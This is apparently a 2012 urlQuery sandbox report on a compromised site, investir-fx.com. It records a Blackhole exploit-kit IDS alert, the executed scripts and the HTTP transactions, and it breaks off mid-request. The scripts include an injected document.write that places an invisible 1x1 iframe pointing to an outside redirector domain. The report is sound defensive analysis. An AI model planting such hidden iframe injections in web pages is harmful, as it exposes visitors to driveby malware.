Overview

URLhttp://investir-fx.com/index.html
IP74.54.218.98
ASNAS21844 ThePlanet.com Internet Services, Inc.
Location United States
Report completed2012-11-07 22:56:15 CET
StatusLoading report..
urlQuery Alerts Detected BlackHole v1.x exploit kit URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-07 22:55:44 urlQuery Client 176.74.176.1671ET CURRENT_EVENTS Likely Blackhole Exploit Kit Driveby Download Secondary Request
Snort /w Sourcefire VRT No alerts detected


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 74.54.218.98

Date Alerts / IDS URL IP
2013-01-15 12:40:010 / 6http://usedfordthunderbirds.com/item/Ford--Thunderbird-Base-Convertible-2Door-2003-Fo (...)74.54.218.98
2013-01-15 09:22:290 / 2http://usedfordthunderbirds.com/item/Ford--Thunderbird-2-Door-Hardtop-1963-FORD-THUND (...)74.54.218.98
2013-01-15 07:33:010 / 3http://usedfordthunderbirds.com/item/Ford--Thunderbird-SOFT-TOP--HARD-TOP-WITH-PORT-H (...)74.54.218.98
2013-01-01 11:30:380 / 3http://usedfordthunderbirds.com/item/ford--thunderbird-2dr-converti-very-low-miles-au (...)74.54.218.98
2012-12-18 22:40:150 / 2http://usedfordthunderbirds.com/item/Ford--Thunderbird-2-door-65-TBIRD_W0QQitemZ11098 (...)74.54.218.98
2012-12-18 22:15:360 / 1http://usedfordthunderbirds.com/item/Ford--Thunderbird-2dr-Converti-2-TOP-PREMIUM-ROA (...)74.54.218.98

Last 6 reports on ASN: AS21844 ThePlanet.com Internet Services, Inc.

Date Alerts / IDS URL IP
2013-02-20 16:57:350 / 0http://vibasolutions.com/huby.htm174.121.37.99
2013-02-20 16:49:160 / 0http://vibasolutions.com/huby.htm174.121.37.99
2013-02-20 16:43:180 / 0http://tiecia.com/zmmd.htm?j=150745674.54.97.26
2013-02-20 16:19:220 / 1http://www.newindianews.com/view.php?22AOllbbc440044e3KMM2022mmD3dddDDmy200MWAKee4C044ccb2lOO2274.54.241.156
2013-02-20 16:13:460 / 0http://www.vacuumscheap4shop.com//wp-content/themes/mantra/uploads/cpa_inform.html174.132.149.227
2013-02-20 16:12:441 / 0http://stateexpressindia.com/wtab.html?i=1636912174.121.38.190



JavaScript

Executed Scripts (15)


Executed Evals (1)

#1 JavaScript::Eval (size: 139, repeated: 1)

document.write('<iframe src="http://secure.statisticanom91.com/in.php?tj=dc9ced5a153bcd2d" width="1" height="1" frameborder="0"></iframe>')

Executed Writes (4)

#1 JavaScript::Write (size: 121, repeated: 1)

<iframe src="http://secure.statisticanom91.com/in.php?tj=dc9ced5a153bcd2d" width="1" height="1" frameborder="0"></iframe>

#2 JavaScript::Write (size: 64, repeated: 1)

<img src="/img.php?www509ad8e057c171.69789927" width=1 height=1>

#3 JavaScript::Write (size: 104, repeated: 1)

<img src="/track.php?uid=www509ad8e057c171.69789927&d=statisticanom91.com&sr=1176x885" width=1 height=1>

#4 JavaScript::Write (size: 401, repeated: 1)

<script src="http://googleads.g.doubleclick.net/apps/domainpark/domainpark.cgi?api=2&callback=_google_json_callback&output=js&adtest=off&client=dp-nameadmin22_3ph_js&channel=000106&hl=en&num_ads=0&num_radlinks=10&optimize_terms=on&categories=off&feed=afs&domain_name=www.statisticanom91.com&dt=1352325345541&u_tz=60&u_his=2&u_h=885&u_w=1176&frm=1&ref=http%3A%2F%2Fwww.statisticanom91.com%2F"></script>


HTTP Transactions (51)


Request Response
GET /styles.css HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: text/css
Date: Wed, 07 Nov 2012 21:55:43 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:34 GMT
Accept-Ranges: bytes
Content-Length: 3049
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /index.html HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 200 OK

Content-Type: text/html
Date: Wed, 07 Nov 2012 21:55:43 GMT
Server: Apache
Last-Modified: Tue, 28 Dec 2010 14:10:49 GMT
Accept-Ranges: bytes
Content-Length: 49292
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /images/navbar-separator.jpg HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Wed, 07 Nov 2012 21:55:43 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:41 GMT
Accept-Ranges: bytes
Content-Length: 4098
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /images/product1-top.gif HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Wed, 07 Nov 2012 21:55:43 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:45 GMT
Accept-Ranges: bytes
Content-Length: 12949
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /images/visitsite-button.gif HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Wed, 07 Nov 2012 21:55:43 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:48 GMT
Accept-Ranges: bytes
Content-Length: 7678
Keep-Alive: timeout=5, max=74
Connection: Keep-Alive
GET /images/product1-bottom.gif HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Wed, 07 Nov 2012 21:55:43 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:43 GMT
Accept-Ranges: bytes
Content-Length: 4088
Keep-Alive: timeout=5, max=74
Connection: Keep-Alive
GET /images/product2-top.gif HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Wed, 07 Nov 2012 21:55:43 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:45 GMT
Accept-Ranges: bytes
Content-Length: 11805
Keep-Alive: timeout=5, max=74
Connection: Keep-Alive
GET /in.php?tj=dc9ced5a153bcd2d HTTP/1.1

Host: secure.statisticanom91.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 302 Found

Content-Type: text/html
Date: Wed, 07 Nov 2012 21:55:43 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Location: http://secure.statisticanom91.com/?f
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 20
Connection: close
Set-Cookie: WEBUK=WUK06; path=/
GET /images/product3-top.gif HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:46 GMT
Accept-Ranges: bytes
Content-Length: 11989
Keep-Alive: timeout=5, max=73
Connection: Keep-Alive
GET /images/header-right.jpg HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Wed, 07 Nov 2012 21:55:43 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:39 GMT
Accept-Ranges: bytes
Content-Length: 38444
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /images/optinbox-bottom.jpg HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:41 GMT
Accept-Ranges: bytes
Content-Length: 4399
Keep-Alive: timeout=5, max=73
Connection: Keep-Alive
GET /?f HTTP/1.1

Host: secure.statisticanom91.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
Cookie: WEBUK=WUK06
HTTP/1.1 302 Found

Content-Type: text/html
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Set-Cookie: uid=secure509ad8e02a7297.85050602; expires=Fri, 07-Dec-2012 21:55:44 GMT
Location: http://www.statisticanom91.com
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 20
Connection: close
GET /images/sidebox-bottom.jpg HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:47 GMT
Accept-Ranges: bytes
Content-Length: 4465
Keep-Alive: timeout=5, max=72
Connection: Keep-Alive
GET /images/bg.jpg HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/styles.css
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:35 GMT
Accept-Ranges: bytes
Content-Length: 4354
Keep-Alive: timeout=5, max=74
Connection: Keep-Alive
GET /images/fap.bmp HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/bmp
Date: Wed, 07 Nov 2012 21:55:43 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:36 GMT
Accept-Ranges: bytes
Content-Length: 54502
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /images/textarea-bg.gif HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:47 GMT
Accept-Ranges: bytes
Content-Length: 3798
Keep-Alive: timeout=5, max=72
Connection: Keep-Alive
GET / HTTP/1.1

Host: www.statisticanom91.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: text/html
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Set-Cookie: uid=www509ad8e057c171.69789927; expires=Fri, 07-Dec-2012 21:55:44 GMT WEBUK=WUK09; path=/
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 592
Connection: close
GET /images/navbar-bg.jpg HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/styles.css
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:41 GMT
Accept-Ranges: bytes
Content-Length: 7052
Keep-Alive: timeout=5, max=71
Connection: Keep-Alive
GET /images/header-left.jpg HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:39 GMT
Accept-Ranges: bytes
Content-Length: 22439
Keep-Alive: timeout=5, max=73
Connection: Keep-Alive
GET /?redir=frame&uid=www509ad8e057c171.69789927 HTTP/1.1

Host: www.statisticanom91.com
GET /?redir=frame&amp;uid=www509ad8e057c171.69789927 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/
Cookie: uid=www509ad8e057c171.69789927; WEBUK=WUK09
HTTP/1.1 200 OK

Content-Type: text/html
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Set-Cookie: uid=www509ad8e057c171.69789927; expires=Fri, 07-Dec-2012 21:55:44 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 530
Connection: close
GET /images/optinbox-top.jpg HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/styles.css
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:43 GMT
Accept-Ranges: bytes
Content-Length: 6500
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /images/optinbox-bg.jpg HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:41 GMT
Accept-Ranges: bytes
Content-Length: 4037
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /images/sidebox-top.jpg HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/styles.css
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:47 GMT
Accept-Ranges: bytes
Content-Length: 5574
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /return_js.php?d=statisticanom91.com&s=1352325344 HTTP/1.1

Host: return.uk.domainnamesales.com
GET /return_js.php?d=statisticanom91.com&amp;s=1352325344 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/?redir=frame&amp;uid=www509ad8e057c171.69789927
HTTP/1.1 200 OK

Content-Type: application/javascript
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;IDC DSP COR NID&quot;
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 51
Connection: close
Set-Cookie: WEBUK=WUK08; path=/
GET /tg.php?uid=www509ad8e057c171.69789927 HTTP/1.1

Host: www.statisticanom91.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/?redir=frame&amp;uid=www509ad8e057c171.69789927
Cookie: uid=www509ad8e057c171.69789927; WEBUK=WUK09
HTTP/1.1 200 OK

Content-Type: text/html
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 272
Connection: close
GET /search.php?uid=www509ad8e057c171.69789927 HTTP/1.1

Host: www.statisticanom91.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/?redir=frame&amp;uid=www509ad8e057c171.69789927
Cookie: uid=www509ad8e057c171.69789927; WEBUK=WUK09
HTTP/1.1 200 OK

Content-Type: text/html
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 4081
Connection: close
GET /page.php?www509ad8e057c171.69789927 HTTP/1.1

Host: www.statisticanom91.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/?redir=frame&amp;uid=www509ad8e057c171.69789927
Cookie: uid=www509ad8e057c171.69789927; WEBUK=WUK09
HTTP/1.1 200 OK

Content-Type: text/html
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 158
Connection: close
GET /track.php?uid=www509ad8e057c171.69789927&d=statisticanom91.com&sr=1176x885 HTTP/1.1

Host: www.statisticanom91.com
GET /track.php?uid=www509ad8e057c171.69789927&amp;d=statisticanom91.com&amp;sr=1176x885 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/tg.php?uid=www509ad8e057c171.69789927
Cookie: uid=www509ad8e057c171.69789927; WEBUK=WUK09
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Wed, 07 Nov 2012 21:55:45 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Content-Length: 43
Connection: close
GET /img.php?www509ad8e057c171.69789927 HTTP/1.1

Host: www.statisticanom91.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/page.php?www509ad8e057c171.69789927
Cookie: uid=www509ad8e057c171.69789927; WEBUK=WUK09
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Wed, 07 Nov 2012 21:55:45 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Content-Length: 43
Connection: close
GET /js/google_lander2.js?20120806 HTTP/1.1

Host: www.statisticanom91.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/search.php?uid=www509ad8e057c171.69789927
Cookie: uid=www509ad8e057c171.69789927; WEBUK=WUK09
HTTP/1.1 200 OK

Content-Type: application/javascript
Date: Wed, 07 Nov 2012 21:55:45 GMT
Server: Apache/2.2.20 (Ubuntu)
Last-Modified: Fri, 02 Nov 2012 19:54:58 GMT
Etag: &quot;17001f4-4c09-4cd8882a5e880&quot;
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 4853
Connection: close
GET /ajax/libs/jquery/1.5.2/jquery.min.js HTTP/1.1

Host: ajax.googleapis.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/search.php?uid=www509ad8e057c171.69789927
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8
Vary: Accept-Encoding
Content-Encoding: gzip
Last-Modified: Mon, 02 Apr 2012 18:24:28 GMT
Date: Wed, 07 Nov 2012 20:35:03 GMT
Expires: Thu, 07 Nov 2013 20:35:03 GMT
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 29947
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 4842
GET /apps/domainpark/show_afd_ads.js HTTP/1.1

Host: pagead2.googlesyndication.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
